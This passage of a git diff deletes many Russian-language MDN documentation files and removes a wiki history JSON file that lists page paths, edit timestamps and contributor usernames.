files/ru/mozilla/tech/xul/attribute/disabled/index.html delete mode 100644 files/ru/mozilla/tech/xul/attribute/hidden/index.html delete mode 100644 files/ru/mozilla/tech/xul/attribute/index.html delete mode 100644 files/ru/mozilla/tech/xul/index.html delete mode 100644 files/ru/mozilla/tech/xul/property/dateleadingzero/index.html delete mode 100644 files/ru/mozilla/tech/xul/property/datepicker.value/index.html delete mode 100644 files/ru/mozilla/tech/xul/property/index.html delete mode 100644 files/ru/mozilla/tech/xul/property/selectionstart/index.html delete mode 100644 files/ru/mozilla/tech/xul/tabbrowser/index.html delete mode 100644 "files/ru/mozilla/tech/xul/\320\260\321\202\321\200\320\270\320\261\321\203\321\202\321\213/autocheck/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\320\260\321\202\321\200\320\270\320\261\321\203\321\202\321\213/autoscroll/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\320\260\321\202\321\200\320\270\320\261\321\203\321\202\321\213/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\320\274\320\265\321\202\320\276\320\264\321\213/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/keyboard_shortcuts/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265_\320\262_xbl/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\320\263\321\200\321\203\320\277\320\277\320\270\321\200\321\203\321\216\321\211\320\270\320\265_\321\215\320\273\320\265\320\274\320\265\320\275\321\202\321\213/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\320\276\320\262\320\265\321\200\320\273\320\265\320\270/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_xul/\321\201\321\202\321\200\321\203\320\272\321\202\321\203\321\200\320\260_xul/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/actions/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\320\262\320\262\320\265\320\264\320\265\320\275\320\270\320\265/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\320\263\320\265\320\275\320\265\321\200\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265_\321\200\320\265\320\267\321\203\320\273\321\214\321\202\320\260\321\202\320\276\320\262/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\320\272\320\276\320\274\320\277\320\270\320\273\321\217\321\206\320\270\321\217_\320\277\321\200\320\260\320\262\320\270\320\273/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\321\200\320\265\320\272\321\203\321\200\321\201\320\270\320\262\320\275\320\276\320\265_\320\263\320\265\320\275\320\265\321\200\320\270\321\200\320\276\320\262\320\260\320\275\320\270\320\265_\320\272\320\276\320\275\321\202\320\265\320\275\321\202\320\260/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\321\201\320\270\320\275\321\202\320\260\320\272\321\201\320\270\321\201_\320\267\320\260\320\277\321\200\320\276\321\201\320\276\320\262_rdf/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\201\321\202\320\262\320\276_\320\277\320\276_\321\210\320\260\320\261\320\273\320\276\320\275\320\260\320\274_xul/\321\210\320\260\320\261\320\273\320\276\320\275\321\213_\320\275\320\260_\320\276\321\201\320\275\320\276\320\262\320\265_sqlite/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\321\201\320\277\321\200\320\260\320\262\320\276\321\207\320\275\320\270\320\272/index.html" delete mode 100644 "files/ru/mozilla/tech/xul/\321\201\321\202\320\270\320\273\320\270/index.html" delete mode 100644 files/ru/mozilla/thunderbird/index.html delete mode 100644 "files/ru/mozilla/thunderbird/\320\260\320\262\321\202\320\276\320\272\320\276\320\275\321\204\320\270\320\263\321\203\321\200\320\260\321\206\320\270\321\217/index.html" delete mode 100644 files/ru/mozilla/xpi/index.html delete mode 100644 "files/ru/mozilla/\320\261\320\265\320\267\320\276\320\277\320\260\321\201\320\275\320\276\321\201\321\202\321\214/index.html" delete mode 100644 files/ru/new_compatibility_tables_beta/index.html delete mode 100644 files/ru/nsiobserver/index.html delete mode 100644 files/ru/nsioutputstream/index.html delete mode 100644 files/ru/nsioutputstream/writefrom/index.html delete mode 100644 files/ru/nspr/index.html delete mode 100644 files/ru/nss/index.html delete mode 100644 files/ru/nss/overview/index.html delete mode 100644 files/ru/plugins/index.html delete mode 100644 files/ru/qa/index.html delete mode 100644 "files/ru/qa/\320\272\320\260\320\272_\320\277\320\276\320\274\320\276\321\207\321\214_\321\202\320\265\321\201\321\202\320\270\321\200\320\276\320\262\320\260\321\202\321\214/index.html" delete mode 100644 "files/ru/qa/\321\200\321\203\320\272\320\276\320\262\320\276\320\264\321\217\321\211\320\270\320\265_\320\277\321\200\320\270\320\275\321\206\320\270\320\277\321\213_\320\275\320\260\320\277\320\270\321\201\320\260\320\275\320\270\321\217_\320\276\321\210\320\270\320\261\320\272\320\260/index.html" delete mode 100644 files/ru/rdf/index.html delete mode 100644 files/ru/rhino/documentation/index.html delete mode 100644 files/ru/rhino/download_rhino/index.html delete mode 100644 files/ru/rhino/embedding_tutorial/index.html delete mode 100644 files/ru/rhino/index.html delete mode 100644 files/ru/sandbox/index.html delete mode 100644 "files/ru/sandbox_--\320\276\320\261\321\211\320\270\320\271_\320\272\320\260\321\202\320\260\320\273\320\276\320\272_\321\202\320\276\320\262\320\260\321\200\320\260_/index.html" delete mode 100644 files/ru/setting_up_extension_development_environment/index.html delete mode 100644 files/ru/social_api/index.html delete mode 100644 files/ru/spidermonkey/index.html delete mode 100644 files/ru/themes-840092-dup/background/index.html delete mode 100644 files/ru/themes-840092-dup/index.html delete mode 100644 files/ru/tools/webide/index.html delete mode 100644 files/ru/tools/webide/monitor/index.html delete mode 100644 files/ru/tools/webide/setting_up_runtimes/index.html delete mode 100644 files/ru/tools/webide/troubleshooting/index.html delete mode 100644 "files/ru/tools/webide/\320\267\320\260\320\277\321\203\321\201\320\272_webide/index.html" delete mode 100644 "files/ru/tools/\321\207\320\265\321\200\320\275\320\276\320\262\320\270\320\272/index.html" delete mode 100644 files/ru/web/accessibility/at-apis/gecko/index.html delete mode 100644 files/ru/web/accessibility/at-apis/gecko/roles/index.html delete mode 100644 files/ru/web/accessibility/at-apis/gecko/roles/role_document/index.html delete mode 100644 files/ru/web/accessibility/at-apis/gecko/roles/role_password_text/index.html delete mode 100644 files/ru/web/accessibility/at-apis/index.html delete mode 100644 files/ru/web/api/devicestorage/index.html delete mode 100644 files/ru/web/api/fmradio/index.html delete mode 100644 files/ru/web/api/identitymanager/index.html delete mode 100644 files/ru/web/api/identitymanager/request/index.html delete mode 100644 files/ru/web/api/navigator/getdatastores/index.html delete mode 100644 files/ru/web/api/navigator/id/index.html delete mode 100644 files/ru/web/api/navigator/mozaudiochannelmanager/index.html delete mode 100644 files/ru/web/api/navigator/mozcamera/index.html delete mode 100644 files/ru/web/api/navigator/mozl10n/index.html delete mode 100644 files/ru/web/api/navigator/moznfc/index.html delete mode 100644 files/ru/web/api/webfm_api/index.html delete mode 100644 files/ru/web/css/-moz-binding/index.html delete mode 100644 files/ru/web/events/dommodaldialogclosed/index.html delete mode 100644 files/ru/web/events/domsubtreemodified/index.html delete mode 100644 files/ru/web/javascript/guide/liveconnect_overview/index.html delete mode 100644 files/ru/web/javascript/new_in_javascript/1.5/index.html delete mode 100644 files/ru/web/javascript/new_in_javascript/1.6/index.html delete mode 100644 files/ru/web/javascript/new_in_javascript/1.8.1/index.html delete mode 100644 files/ru/web/javascript/new_in_javascript/1.8.5/index.html delete mode 100644 files/ru/web/javascript/new_in_javascript/1.8/index.html delete mode 100644 files/ru/web/javascript/new_in_javascript/ecmascript_5_support_in_mozilla/index.html delete mode 100644 files/ru/web/javascript/new_in_javascript/ecmascript_6_support_in_mozilla/index.html delete mode 100644 files/ru/web/javascript/new_in_javascript/index.html delete mode 100644 files/ru/web/javascript/reference/functions/arguments/caller/index.html delete mode 100644 files/ru/web/javascript/reference/global_objects/array/observe/index.html delete mode 100644 files/ru/web/javascript/reference/global_objects/date/tolocaleformat/index.html delete mode 100644 files/ru/web/javascript/reference/global_objects/function/arity/index.html delete mode 100644 files/ru/web/javascript/reference/global_objects/function/isgenerator/index.html delete mode 100644 files/ru/web/javascript/reference/global_objects/iterator/index.html delete mode 100644 files/ru/web/javascript/reference/global_objects/number/tointeger/index.html delete mode 100644 files/ru/web/javascript/reference/global_objects/object/count/index.html delete mode 100644 files/ru/web/javascript/reference/global_objects/object/eval/index.html delete mode 100644 files/ru/web/javascript/reference/global_objects/object/getnotifier/index.html delete mode 100644 files/ru/web/javascript/reference/global_objects/object/nosuchmethod/index.html delete mode 100644 files/ru/web/javascript/reference/global_objects/object/observe/index.html delete mode 100644 files/ru/web/javascript/reference/global_objects/object/parent/index.html delete mode 100644 files/ru/web/javascript/reference/global_objects/object/unobserve/index.html delete mode 100644 files/ru/web/javascript/reference/global_objects/object/unwatch/index.html delete mode 100644 files/ru/web/javascript/reference/global_objects/object/watch/index.html delete mode 100644 files/ru/web/javascript/reference/global_objects/parallelarray/index.html delete mode 100644 files/ru/web/javascript/reference/global_objects/string/quote/index.html delete mode 100644 files/ru/web/javascript/reference/operators/array_comprehensions/index.html delete mode 100644 files/ru/web/javascript/reference/operators/expression_closures/index.html delete mode 100644 files/ru/web/javascript/reference/operators/generator_comprehensions/index.html delete mode 100644 files/ru/web/javascript/reference/statements/for_each...in/index.html delete mode 100644 files/ru/xpcom/language_bindings/index.html delete mode 100644 files/ru/xpinstall/index.html delete mode 100644 files/ru/xul_school/appendix_a_colon__add-on_performance/index.html delete mode 100644 files/ru/xul_school/getting_started_with_firefox_extensions/index.html delete mode 100644 files/ru/xul_school/index.html delete mode 100644 files/ru/xul_school/introduction/index.html delete mode 100644 files/ru/xul_school/the_essentials_of_an_extension/index.html delete mode 100644 "files/ru/xul_school/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\274\320\265\320\275\321\216_\320\270_\320\277\320\276\320\264\320\274\320\265\320\275\321\216/index.html" delete mode 100644 "files/ru/xul_school/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\276\320\272\320\276\320\275_\320\270_\320\264\320\270\320\260\320\273\320\276\320\263\320\276\320\262/index.html" delete mode 100644 "files/ru/xul_school/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\277\320\260\320\275\320\265\320\273\320\265\320\271_\320\270\320\275\321\201\321\202\321\200\321\203\320\274\320\265\320\275\321\202\320\276\320\262_\320\270_\320\272\320\275\320\276\320\277\320\276\320\272/index.html" delete mode 100644 "files/ru/xul_school/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\321\201\320\276\320\261\321\213\321\202\320\270\320\271_\320\270_\320\272\320\276\320\274\320\260\320\275\320\264/index.html" delete mode 100644 "files/ru/xul_school/\320\272\320\276\321\200\320\276\320\261\320\276\321\207\320\275\320\260\321\217_\320\274\320\276\320\264\320\265\320\273\321\214/index.html" delete mode 100644 "files/ru/xul_school/\320\275\320\260\321\201\321\202\321\200\320\276\320\271\320\272\320\260_\321\201\321\200\320\265\320\264\321\213_\321\200\320\260\320\267\321\200\320\260\320\261\320\276\321\202\320\272\320\270/index.html" delete mode 100644 files/ru/xul_tutorial/creating_a_window/index.html delete mode 100644 files/ru/xul_tutorial/index.html delete mode 100644 files/ru/xul_tutorial/manifest_files/index.html delete mode 100644 files/ru/xul_tutorial/the_chrome_url/index.html delete mode 100644 files/ru/xul_tutorial/xul_structure/index.html delete mode 100644 "files/ru/xul_tutorial/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\272\320\275\320\276\320\277\320\276\320\272/index.html" delete mode 100644 "files/ru/xul_tutorial/\320\264\320\276\320\261\320\260\320\262\320\273\320\265\320\275\320\270\320\265_\320\275\320\260\320\264\320\277\320\270\321\201\320\265\320\271_\320\270_\320\272\320\260\321\200\320\270\321\202\320\275\320\276\320\272/index.html" delete mode 100644 "files/ru/xul_tutorial/\320\264\320\276\320\261\320\260\320\262\320\273\321\217\320\265\320\274_\320\272\320\275\320\276\320\277\320\272\320\270/index.html" delete mode 100644 files/ru/zones/index.html delete mode 100644 "files/ru/\320\272\320\260\320\272_\321\201\320\276\320\276\320\261\321\211\320\270\321\202\321\214_\320\276_\320\267\320\260\320\262\320\270\321\201\321\210\320\265\320\274_firefox/index.html" delete mode 100644 "files/ru/\320\277\321\200\320\276\321\202\320\276\320\272\320\276\320\273_about_colon_/index.html" delete mode 100644 "files/ru/\321\200\320\260\321\201\321\210\320\270\321\200\320\265\320\275\320\270\321\217/index.html" delete mode 100644 "files/ru/\321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\265_\321\202\320\265\320\274\321\213/index.html" (limited to 'files/ru') diff --git a/files/ru/_wikihistory.json b/files/ru/_wikihistory.json deleted file mode 100644 index 63a4e19903..0000000000 --- a/files/ru/_wikihistory.json +++ /dev/null @@ -1,25916 +0,0 @@ -{ - "A_Basic_RayCaster": { - "modified": "2019-03-23T23:52:15.954Z", - "contributors": [ - "warsan", - "Chernetsky" - ] - }, - "Building_an_Extension": { - "modified": "2019-03-23T23:58:39.567Z", - "contributors": [ - "topskill", - "fscholz", - "iliacmd" - ] - }, - "Chrome": { - "modified": "2019-03-23T23:17:01.096Z", - "contributors": [ - "Norville", - "LunaticRL" - ] - }, - "DOM": { - "modified": "2019-06-25T10:49:54.010Z", - "contributors": [ - "ethertank", - "Megapotz" - ] - }, - "DOM/DOM_Reference": { - "modified": "2020-08-25T05:36:15.194Z", - "contributors": [ - "tix836", - "shmel3", - "shvedovskiy", - "BychekRU", - "teoli", - "Newser", - "mayconrem" - ] - }, - "DOM/DOM_Reference/Events": { - "modified": "2019-03-18T21:18:44.250Z", - "contributors": [ - "SphinxKnight" - ] - }, - "DOM/DOM_Reference/Examples": { - "modified": "2019-09-25T18:36:16.946Z", - "contributors": [ - "Problemon", - "paxarpp", - "Bargamut" - ] - }, - "DOM/DOM_Reference/Locating_DOM_elements_using_selectors": { - "modified": "2019-03-23T22:13:41.294Z", - "contributors": [ - "tavira" - ] - }, - "DOM/DOM_Reference/Введение": { - "modified": "2019-10-02T12:18:01.287Z", - "contributors": [ - "shmel3", - "newbornfrontender", - "GraceAredel", - "hardsoncore", - "Flaeron", - "paxarpp", - "rapaich", - "miirinjej", - "tavira", - "sersalex", - "tvitcom", - "Y-Taras", - "Azijkes" - ] - }, - "DOM/Using_fullscreen_mode": { - "modified": "2020-10-15T21:22:05.646Z", - "contributors": [ - "dartraiden", - "wbamberg", - "sosnovskyas", - "mzhel" - ] - }, - "DOM/Using_web_workers": { - "modified": "2020-06-15T09:56:56.839Z", - "contributors": [ - "sekrittt", - "S-inTheory", - "KVAnton-WEB", - "demyanovs", - "Akh-rman", - "warsan", - "Corey-Maler", - "citizen55", - "S-le", - "vorobeez", - "namikiri", - "evhandel", - "alex-misch", - "Sajag", - "Anomeon", - "3lvcz", - "x1unix", - "nsine", - "sanarise", - "arvitaly", - "AlexanderTserkovniy", - "sergeiDruzhinin", - "kav137", - "Forshortmrmeth", - "MuradAz", - "ahtohbi4", - "padenot", - "finalex" - ] - }, - "DOM/document.createElement": { - "modified": "2020-05-24T05:32:15.624Z", - "contributors": [ - "MyWay2IT", - "ArtemStudio", - "ellizii", - "RblSb", - "kothique", - "Veers", - "itslooklike", - "Madzi", - "lemurio", - "Guria", - "khalid32", - "Norville", - "teoli", - "icw82", - "Alego" - ] - }, - "DOM/document.images": { - "modified": "2019-03-24T00:04:21.348Z", - "contributors": [ - "khalid32", - "Norville", - "teoli", - "RAP1D" - ] - }, - "DOM/window.requestAnimationFrame": { - "modified": "2020-10-15T21:21:09.538Z", - "contributors": [ - "BehemothOz", - "S-inTheory", - "Kiryhas", - "ekirpichyov", - "Yialo", - "YozhEzhi", - "RoBit", - "alexsanqp", - "Bargamut", - "torbasow", - "Beliarh", - "nyk0r" - ] - }, - "Firefox_3.5_для_разработчика": { - "modified": "2019-03-24T00:00:48.916Z", - "contributors": [ - "wbamberg", - "teoli", - "Dionys" - ] - }, - "Firefox_3_for_developers": { - "modified": "2019-03-23T23:57:24.524Z", - "contributors": [ - "wbamberg", - "teoli", - "Destruction", - "Alm0" - ] - }, - "Games": { - "modified": "2020-06-19T09:52:35.652Z", - "contributors": [ - "7noptic", - "SphinxKnight", - "wbamberg", - "DartVeDroid", - "djigach", - "fscholz", - "DIAMONDinc", - "Shychara", - "Anna_Leonteva", - "MAJTREJ", - "homsterius" - ] - }, - "Games/Techniques": { - "modified": "2019-01-16T22:41:22.223Z", - "contributors": [ - "wbamberg", - "klimnvrsk" - ] - }, - "Games/Techniques/3D_on_the_web": { - "modified": "2019-03-18T21:23:53.522Z", - "contributors": [ - "wbamberg" - ] - }, - "Games/Techniques/3D_on_the_web/Building_up_a_basic_demo_with_Three.js": { - "modified": "2020-10-08T15:35:41.440Z", - "contributors": [ - "chrisdavidmills", - "rakosolapov", - "boxa6", - "fenfil" - ] - }, - "Games/Techniques/3D_on_the_web/GLSL_Shaders": { - "modified": "2019-10-29T12:26:55.028Z", - "contributors": [ - "goforbroke1006" - ] - }, - "Games/Techniques/Async_scripts": { - "modified": "2019-09-19T13:21:13.324Z", - "contributors": [ - "exarces" - ] - }, - "Games/Techniques/Controls_Gamepad_API": { - "modified": "2020-04-29T08:02:59.017Z", - "contributors": [ - "podocenov" - ] - }, - "Games/Tutorials": { - "modified": "2019-03-23T22:32:48.689Z", - "contributors": [ - "sergeomak", - "wbamberg", - "chrisdavidmills" - ] - }, - "Games/Tutorials/2D_Breakout_game_pure_JavaScript": { - "modified": "2020-05-27T13:27:57.264Z", - "contributors": [ - "S-inTheory", - "ekirpichyov", - "wbamberg", - "webmarket7", - "KoishybaevDB", - "chrisdavidmills" - ] - }, - "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Bounce_off_the_walls": { - "modified": "2020-02-06T10:05:14.653Z", - "contributors": [ - "alexerisov", - "ekirpichyov", - "VsevolodIvanov", - "wbamberg", - "W-A-D", - "Yura-ka" - ] - }, - "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Game_over": { - "modified": "2019-09-05T03:59:32.664Z", - "contributors": [ - "ekirpichyov", - "pustoyM", - "redbulled", - "Abduscius", - "netmag", - "wbamberg", - "kirkland", - "lordbekket", - "ccartrec" - ] - }, - "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Paddle_and_keyboard_controls": { - "modified": "2020-02-06T10:29:26.734Z", - "contributors": [ - "alexerisov", - "ekirpichyov", - "wbamberg", - "ccartrec", - "Yuriy-Ka" - ] - }, - "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Track_the_score_and_win": { - "modified": "2019-09-05T04:02:36.418Z", - "contributors": [ - "ekirpichyov", - "VsevolodIvanov", - "netmag" - ] - }, - "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Заключение": { - "modified": "2020-05-27T13:39:22.186Z", - "contributors": [ - "S-inTheory", - "fedev", - "ekirpichyov", - "netmag" - ] - }, - "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Обнаружение_столкновений": { - "modified": "2020-05-27T13:47:02.328Z", - "contributors": [ - "S-inTheory", - "alexerisov", - "ekirpichyov", - "BrightsDays", - "wbamberg", - "DanInSpace104" - ] - }, - "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Переместить_мяч": { - "modified": "2019-09-05T03:56:26.312Z", - "contributors": [ - "ekirpichyov", - "Horbach_Andrii", - "wbamberg", - "W-A-D", - "HellLena" - ] - }, - "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Создаем_зону_кирпичей": { - "modified": "2019-09-05T04:00:55.487Z", - "contributors": [ - "ekirpichyov", - "netmag", - "wbamberg", - "DanInSpace104" - ] - }, - "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Создание_Canvas_и_рисование_на_нём": { - "modified": "2019-09-05T03:54:58.102Z", - "contributors": [ - "ekirpichyov", - "wbamberg", - "W-A-D", - "HellLena" - ] - }, - "Games/Tutorials/2D_Breakout_game_pure_JavaScript/Управление_мышью": { - "modified": "2020-05-27T13:59:03.040Z", - "contributors": [ - "S-inTheory", - "ekirpichyov", - "Merius", - "netmag" - ] - }, - "Games/Tutorials/HTML5_Gamedev_Phaser_Device_Orientation": { - "modified": "2019-03-18T21:45:23.068Z", - "contributors": [ - "wbamberg", - "maxypayne" - ] - }, - "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser": { - "modified": "2020-02-21T09:29:06.831Z", - "contributors": [ - "SpawnLeon", - "BVaflick", - "wbamberg", - "djigach" - ] - }, - "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Bounce_off_the_walls": { - "modified": "2019-07-13T11:04:44.018Z", - "contributors": [ - "BVaflick", - "AntonySawyer" - ] - }, - "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Game_over": { - "modified": "2019-07-04T10:47:35.001Z", - "contributors": [ - "BVaflick" - ] - }, - "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Initialize_the_framework": { - "modified": "2020-05-27T14:06:50.271Z", - "contributors": [ - "S-inTheory", - "BVaflick", - "VsevolodIvanov", - "wbamberg", - "djigach" - ] - }, - "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Load_the_assets_and_print_them_on_screen": { - "modified": "2020-05-27T14:16:50.797Z", - "contributors": [ - "S-inTheory", - "Surf12", - "BVaflick", - "wbamberg", - "djigach" - ] - }, - "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Move_the_ball": { - "modified": "2020-05-27T14:22:37.560Z", - "contributors": [ - "S-inTheory", - "BVaflick", - "wbamberg", - "djigach" - ] - }, - "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Physics": { - "modified": "2019-07-13T11:03:00.205Z", - "contributors": [ - "BVaflick", - "juliasheleva", - "wbamberg", - "djigach" - ] - }, - "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Scaling": { - "modified": "2020-05-27T14:30:34.825Z", - "contributors": [ - "S-inTheory", - "BVaflick", - "wbamberg", - "djigach" - ] - }, - "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Жизни": { - "modified": "2020-07-02T08:17:43.022Z", - "contributors": [ - "f1reSong", - "BVaflick" - ] - }, - "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Обработка_коллизий": { - "modified": "2019-07-13T11:08:36.093Z", - "contributors": [ - "BVaflick" - ] - }, - "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Очки": { - "modified": "2019-07-13T11:09:17.012Z", - "contributors": [ - "BVaflick" - ] - }, - "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Платформа_и_управление": { - "modified": "2019-07-13T11:05:39.887Z", - "contributors": [ - "BVaflick" - ] - }, - "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Победа": { - "modified": "2019-07-04T12:16:45.863Z", - "contributors": [ - "BVaflick" - ] - }, - "Games/Tutorials/Создание_2D_Breakout_игры_на_Phaser/Создание_кирпичей": { - "modified": "2019-07-13T11:07:30.266Z", - "contributors": [ - "BVaflick" - ] - }, - "Games/Анатомия": { - "modified": "2020-09-16T08:22:06.866Z", - "contributors": [ - "T-EVA-01", - "achernin+" - ] - }, - "Games/Ввод": { - "modified": "2020-01-09T13:42:58.936Z", - "contributors": [ - "idushii", - "nomo3919", - "BVaflick", - "RFG-G" - ] - }, - "Games/Инструменты": { - "modified": "2019-01-17T01:51:17.038Z", - "contributors": [ - "wbamberg", - "Cyganov" - ] - }, - "Games/Инструменты/asm.js": { - "modified": "2019-06-20T10:10:26.692Z", - "contributors": [ - "jkulvich", - "wbamberg", - "Cyganov" - ] - }, - "Glossary/Accessibility_tree": { - "modified": "2020-10-23T07:48:08.061Z", - "contributors": [ - "chrisdavidmills", - "VerZsuT", - "lolyanepizdi" - ] - }, - "Glossary/Block": { - "modified": "2019-03-23T22:09:54.924Z", - "contributors": [ - "DashPisareva", - "Sheppy" - ] - }, - "Glossary/Block/CSS": { - "modified": "2019-03-23T22:09:55.008Z", - "contributors": [ - "DashPisareva" - ] - }, - "Glossary/Block/Скриптинг": { - "modified": "2019-03-23T22:09:52.830Z", - "contributors": [ - "DashPisareva" - ] - }, - "Glossary/Polifill": { - "modified": "2019-03-23T22:18:26.835Z", - "contributors": [ - "pk.prog" - ] - }, - "HTML/HTML5": { - "modified": "2020-11-05T05:54:38.208Z", - "contributors": [ - "ksam", - "nikolay94", - "SphinxKnight", - "duhas1993", - "CrawlOverYou", - "Hamelion-gm", - "MuradAz", - "teoli", - "BychekRU", - "syam1123", - "M57", - "Jmunb", - "repby", - "uleming", - "askhat", - "andygol", - "Grakov", - "AxDaim" - ] - }, - "HTML/HTML5/Constraint_validation": { - "modified": "2019-03-23T22:20:23.601Z", - "contributors": [ - "lautsevich", - "Pescao" - ] - }, - "HTML/HTML5/Введение_в_HTML5": { - "modified": "2019-03-23T23:32:08.971Z", - "contributors": [ - "Jmunb", - "Grakov" - ] - }, - "Introduction_(alternate)": { - "modified": "2019-03-23T23:38:23.548Z", - "contributors": [ - "Nick_Pershin", - "greybax" - ] - }, - "Learn": { - "modified": "2020-10-04T14:26:11.837Z", - "contributors": [ - "akariZ", - "bytensky", - "methodx", - "SphinxKnight", - "boxa6", - "dmitriy134", - "svarlamov", - "bezik", - "gitzizou", - "zmux", - "tagir000", - "BychekRU", - "sunsetninja", - "JacobPython", - "Evgeny_Kurkin", - "uleming", - "arbatskiy", - "Radewqa", - "Semegen", - "YuliaOksymets", - "Jeremie" - ] - }, - "Learn/CSS": { - "modified": "2020-07-16T22:25:37.223Z", - "contributors": [ - "Ivan961", - "binxer", - "skrikl", - "izhurav", - "alexbs", - "sborenko", - "niktariy", - "bezik", - "Shychara", - "kolanski", - "VladdOs", - "BychekRU", - "uleming", - "Andrew_Pfeiffer" - ] - }, - "Learn/CSS/Building_blocks": { - "modified": "2020-07-16T22:28:09.658Z", - "contributors": [ - "Ivan961", - "chrisdavidmills" - ] - }, - "Learn/CSS/Building_blocks/Advanced_styling_effects": { - "modified": "2020-07-16T22:28:22.659Z", - "contributors": [ - "Ivan961" - ] - }, - "Learn/CSS/Building_blocks/Backgrounds_and_borders": { - "modified": "2020-11-06T03:37:34.340Z", - "contributors": [ - "AlexUS", - "sadmice", - "Thekarov", - "Ivan961" - ] - }, - "Learn/CSS/Building_blocks/Cascade_and_inheritance": { - "modified": "2020-12-04T09:24:49.879Z", - "contributors": [ - "RoPy73", - "at940266", - "superyasha2", - "k0w4lk", - "RadDeepton", - "Lyla", - "fishr-flash", - "shade0602", - "Ivan961", - "borshagovskij" - ] - }, - "Learn/CSS/Building_blocks/Debugging_CSS": { - "modified": "2020-10-15T22:26:31.777Z", - "contributors": [ - "shade0602", - "Ivan961" - ] - }, - "Learn/CSS/Building_blocks/Handling_different_text_directions": { - "modified": "2020-07-16T22:29:14.338Z", - "contributors": [ - "Ivan961" - ] - }, - "Learn/CSS/Building_blocks/Images_media_form_elements": { - "modified": "2020-07-16T22:29:26.428Z", - "contributors": [ - "shade0602", - "Ivan961" - ] - }, - "Learn/CSS/Building_blocks/Organizing": { - "modified": "2020-07-16T22:29:32.476Z", - "contributors": [ - "Ivan961" - ] - }, - "Learn/CSS/Building_blocks/Overflowing_content": { - "modified": "2020-10-29T13:12:58.938Z", - "contributors": [ - "velheor24", 